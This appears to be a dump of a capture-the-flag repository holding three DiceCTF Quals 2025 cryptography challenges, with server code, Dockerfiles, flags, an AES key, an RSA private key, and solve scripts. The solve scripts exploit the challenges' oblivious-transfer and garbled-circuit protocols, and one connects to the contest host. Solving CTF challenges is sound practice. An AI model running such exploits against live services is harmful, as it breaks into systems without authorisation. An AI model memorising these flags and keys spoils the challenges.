/dicectf-quals-2025/nil-circ/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim AS build 2 | 3 | WORKDIR /app 4 | COPY ./challenge . 5 | RUN cargo build --release --bin server 6 | 7 | FROM pwn.red/jail 8 | COPY --from=build / /srv 9 | 10 | RUN cp /srv/app/target/release/server /srv/app 11 | COPY ./aes.txt ./key.txt /srv/app/ 12 | COPY ./run.sh /srv/app/run 13 | ENV JAIL_TIME=60 JAIL_MEM=20M JAIL_CPU=500 -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "nil-circ" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | blake3 = "1.7.0" 8 | clap = { version = "4.5.32", features = ["derive"] } 9 | curve25519-dalek = "4.1.3" 10 | hex = "0.4.3" 11 | rand = "0.8.5" 12 | 13 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 14 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 15 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 16 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod ot; 2 | 3 | pub const BLOCK_SIZE: usize = 16; 4 | 5 | pub fn pack_block(bits: &[u16]) -> [u8; BLOCK_SIZE] { 6 | assert_eq!(bits.len(), BLOCK_SIZE * 8); 7 | let mut block = [0; BLOCK_SIZE]; 8 | for i in 0..BLOCK_SIZE { 9 | for j in 0..8 { 10 | let b = bits[i * 8 + j] as u8; 11 | assert!(b < 2); 12 | block[i] |= b << (7 - j); 13 | } 14 | } 15 | block 16 | } 17 | 18 | pub fn unpack_block(block: &[u8]) -> [u16; BLOCK_SIZE * 8] { 19 | assert_eq!(block.len(), BLOCK_SIZE); 20 | let mut bits = [0; BLOCK_SIZE * 8]; 21 | for i in 0..BLOCK_SIZE { 22 | for j in 0..8 { 23 | bits[i * 8 + j] = ((block[i] >> (7 - j)) & 1) as u16; 24 | } 25 | } 26 | bits 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/flag.txt: -------------------------------------------------------------------------------- 1 | dice{bl4ze_r3ap_th1rd_w0rks_gh0st_s3ek} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/flag_enc.txt: -------------------------------------------------------------------------------- 1 | 174b4e2c1a74618921235e9cc4f99dd36c24bac16509f7adf298f30e4196a63b4e223d697597e1e7bfff092f100bbc65 -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/gen.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | from Crypto.Cipher import AES 3 | from Crypto.Util.Padding import pad 4 | 5 | if __name__ == '__main__': 6 | with open('flag.txt', 'rb') as f: 7 | flag = f.read().strip() 8 | 9 | key = secrets.token_bytes(16) 10 | cipher = AES.new(key, AES.MODE_ECB) 11 | flag_enc = cipher.encrypt(pad(flag, 16)) 12 | 13 | with open('key.txt', 'w') as f: 14 | f.write(key.hex()) 15 | 16 | with open('flag_enc.txt', 'w') as f: 17 | f.write(flag_enc.hex()) 18 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/handout.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/nil-circ/handout.tar.gz -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/key.txt: -------------------------------------------------------------------------------- 1 | a71bb8ca385f2d45c4e4c480208920cb -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cp -r challenge nil-circ 4 | cp gen.py aes.txt flag_enc.txt nil-circ 5 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='target' nil-circ 6 | rm -rf nil-circ 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./server --circuit aes.txt --key $(cat key.txt) 4 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | *.sage.py 3 | constraints.json 4 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | blake3 = "1.7.0" 10 | clap = { version = "4.5.32", features = ["derive"] } 11 | curve25519-dalek = "4.1.3" 12 | hex = "0.4.3" 13 | rand = "0.8.5" 14 | regex = "1.11.1" 15 | serde = { version = "1.0.219", features = ["derive"] } 16 | serde_json = "1.0.140" 17 | subtle = "2.5.0" 18 | 19 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 20 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 21 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 22 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/solve.sage: -------------------------------------------------------------------------------- 1 | # to generate constraints.json, run 2 | # cargo run --bin client -- --circuit ../aes.txt --input 00000000000000000000000000000000 localhost:5000 3 | 4 | import json 5 | from Crypto.Cipher import AES 6 | from Crypto.Util.Padding import unpad 7 | 8 | with open('constraints.json') as f: 9 | constraints = json.load(f) 10 | 11 | with open('../flag_enc.txt') as f: 12 | flag_enc = bytes.fromhex(f.read()) 13 | 14 | n = 256 15 | M = [] 16 | v = [] 17 | 18 | for c in constraints: 19 | M.append([1 if i in c['ids'] else 0 for i in range(n)]) 20 | v.append(1 if c['bit'] else 0) 21 | 22 | F = GF(2) 23 | M = matrix(F, M) 24 | v = vector(F, v) 25 | u = M.solve_right(v) 26 | 27 | for w in M.right_kernel(): 28 | sol = u + w 29 | key = int(''.join(map(str, sol[128:])), 2).to_bytes(16, 'big') 30 | cipher = AES.new(key, AES.MODE_ECB) 31 | flag = cipher.decrypt(flag_enc) 32 | if flag.startswith(b'dice{'): 33 | print(unpad(flag, 16).decode()) 34 | exit() 35 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod curious_circuit; 2 | mod garble_evaluator; 3 | pub mod ot; 4 | mod parse; 5 | pub mod twopac_evaluator; 6 | 7 | pub const BLOCK_SIZE: usize = 16; 8 | 9 | pub fn pack_block(bits: &[u16]) -> [u8; BLOCK_SIZE] { 10 | assert_eq!(bits.len(), BLOCK_SIZE * 8); 11 | let mut block = [0; BLOCK_SIZE]; 12 | for i in 0..BLOCK_SIZE { 13 | for j in 0..8 { 14 | let b = bits[i * 8 + j] as u8; 15 | assert!(b < 2); 16 | block[i] |= b << (7 - j); 17 | } 18 | } 19 | block 20 | } 21 | 22 | pub fn unpack_block(block: &[u8]) -> [u16; BLOCK_SIZE * 8] { 23 | assert_eq!(block.len(), BLOCK_SIZE); 24 | let mut bits = [0; BLOCK_SIZE * 8]; 25 | for i in 0..BLOCK_SIZE { 26 | for j in 0..8 { 27 | bits[i * 8 + j] = ((block[i] >> (7 - j)) & 1) as u16; 28 | } 29 | } 30 | bits 31 | } 32 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY flag.txt /srv/app/ 8 | ENV JAIL_TIME=300 JAIL_MEM=40M JAIL_CPU=1000 9 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/flag.txt: -------------------------------------------------------------------------------- 1 | dice{gl3am1ng_g0ld_doubl00n} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | import secrets 4 | from Crypto.PublicKey import RSA 5 | 6 | DEATH_CAUSES = [ 7 | 'a fever', 8 | 'dysentery', 9 | 'measles', 10 | 'cholera', 11 | 'typhoid', 12 | 'exhaustion', 13 | 'a snakebite', 14 | 'a broken leg', 15 | 'a broken arm', 16 | 'drowning', 17 | ] 18 | 19 | def run_ot(key, msg0, msg1): 20 | ''' 21 | https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer 22 | ''' 23 | x0 = secrets.randbelow(key.n) 24 | x1 = secrets.randbelow(key.n) 25 | print(f'n: {key.n}') 26 | print(f'e: {key.e}') 27 | print(f'x0: {x0}') 28 | print(f'x1: {x1}') 29 | v = int(input('v: ')) 30 | assert 0 <= v < key.n, 'invalid value' 31 | k0 = pow(v - x0, key.d, key.n) 32 | k1 = pow(v - x1, key.d, key.n) 33 | m0 = int.from_bytes(msg0.encode(), 'big') 34 | m1 = int.from_bytes(msg1.encode(), 'big') 35 | c0 = (m0 + k0) % key.n 36 | c1 = (m1 + k1) % key.n 37 | print(f'c0: {c0}') 38 | print(f'c1: {c1}') 39 | 40 | if __name__ == '__main__': 41 | with open('flag.txt') as f: 42 | flag = f.read().strip() 43 | 44 | print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===') 45 | print('you enter a cave.') 46 | 47 | for _ in range(64): 48 | print('the tunnel forks ahead. do you take the left or right path?') 49 | key = RSA.generate(1024) 50 | msgs = [None, None] 51 | page = secrets.randbits(32) 52 | live = f'you continue walking. turn to page {page}.' 53 | die = f'you die of {secrets.choice(DEATH_CAUSES)}.' 54 | msgs = (live, die) if secrets.randbits(1) else (die, live) 55 | run_ot(key, *msgs) 56 | page_guess = int(input('turn to page: ')) 57 | if page_guess != page: 58 | exit() 59 | 60 | print(f'you find a chest containing {flag}') 61 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | from tqdm import tqdm 3 | 4 | from server import DEATH_CAUSES 5 | 6 | PREFIX = b'you continue walking. turn to page ' 7 | SUFFIX = b'.' 8 | 9 | def recvlineafter(io, delim): 10 | io.recvuntil(delim) 11 | return io.recvline() 12 | 13 | # io = process(['python', 'server.py']) 14 | io = remote('dicec.tf', 31001) 15 | 16 | for _ in tqdm(range(64)): 17 | n = int(recvlineafter(io, b'n: ')) 18 | x0 = int(recvlineafter(io, b'x0: ')) 19 | x1 = int(recvlineafter(io, b'x1: ')) 20 | v = pow(2, -1, n) * (x0 + x1) % n 21 | assert (v - x0) % n == -(v - x1) % n 22 | io.sendlineafter(b'v: ', str(v).encode()) 23 | c0 = int(recvlineafter(io, b'c0: ')) 24 | c1 = int(recvlineafter(io, b'c1: ')) 25 | z = (c0 + c1) % n 26 | 27 | for cause in DEATH_CAUSES: 28 | die = f'you die of {cause}.' 29 | m = (z - int.from_bytes(die.encode(), 'big')).to_bytes(1024//8, 'big').strip(b'\x00') 30 | if m.startswith(PREFIX) and m.endswith(SUFFIX) and m[len(PREFIX):-len(SUFFIX)].isdigit(): 31 | page = int(m[len(PREFIX):-len(SUFFIX)]) 32 | break 33 | 34 | io.sendlineafter(b'turn to page: ', str(page).encode()) 35 | 36 | io.interactive() 37 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY key.pem flag.txt /srv/app/ 8 | ENV JAIL_TIME=600 JAIL_MEM=20M JAIL_CPU=500 9 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/flag.txt: -------------------------------------------------------------------------------- 1 | dice{lu5tr0us_j3wel_tr1nk3t} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/gen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | if __name__ == '__main__': 4 | key = RSA.generate(1024) 5 | with open('key.pem', 'wb') as f: 6 | f.write(key.export_key()) 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQC5rIloXR96GdgxjCbROVSlOK/zA0c83cXUIkGRU40srtj9hu8C 3 | tgZOsL/RkGEfp6e9dK6T8d250o8P7OSXsFr6YST/LSFV5feTTDjGeAW/HXDW7Lzj 4 | qsericFVszawfffmbKTfmEzKAFDsK3g6iZ6hyu52IomWDm9r+wSb7paLuQIDAQAB 5 | An9/5ALBirh5DKmIIgFFcTfcli9GM/vdm479j0WafvJpf1tMm09bjrAe2PVHDoEs 6 | 9049hna5cN+eHxUWOGs8EJKYtR+hgmvPDiRF2vdUy7doex4p49ZUZnTYyrIhp5Z8 7 | m0M++Aze2qTFofxwp+iIK3+TvayyQVl746vB7pUoU/u9AkEAwUap56IVVBP1oH6x 8 | l3lmxcHmBc8wW27N9T2f5hMfICKmnUIsb/mZ/D++6aUiBNOAI2bTYegTe3o3rDak 9 | 3sUyDwJBAPXuS6RFr6qkOngVRhmVPmhXYaWYsYNwODLwtM7/jTaDrc9we6Tqt5l4 10 | Jgiy4jRqtlurx6ITnNfvbQU8p9ObDbcCQArSwDT+eJ9KttiT/7Hx1HWClDUDEzwr 11 | ilEPcGLb80RDbH0l9YMXwS3FDBXdb3hBt81DttamvmCNyYxVSwpGlLUCQQC/XHvp 12 | R/wnqICCffM85t9Xq16kzwqZftGL+baHN1x3JcEyH5FmQuk39sCJlj/jj4F0FVdS 13 | azZo47mOEKN6STVDAkAITE0DywO/bFxuE8K/6ZqSrI1B4ZugyqFbOuy4j9M8JYJU 14 | woAnai4w08TykWeR2KC7yQQZZ2i/BVeDxpLMoGQC 15 | -----END RSA PRIVATE KEY----- --------------------------------------------------------------------------------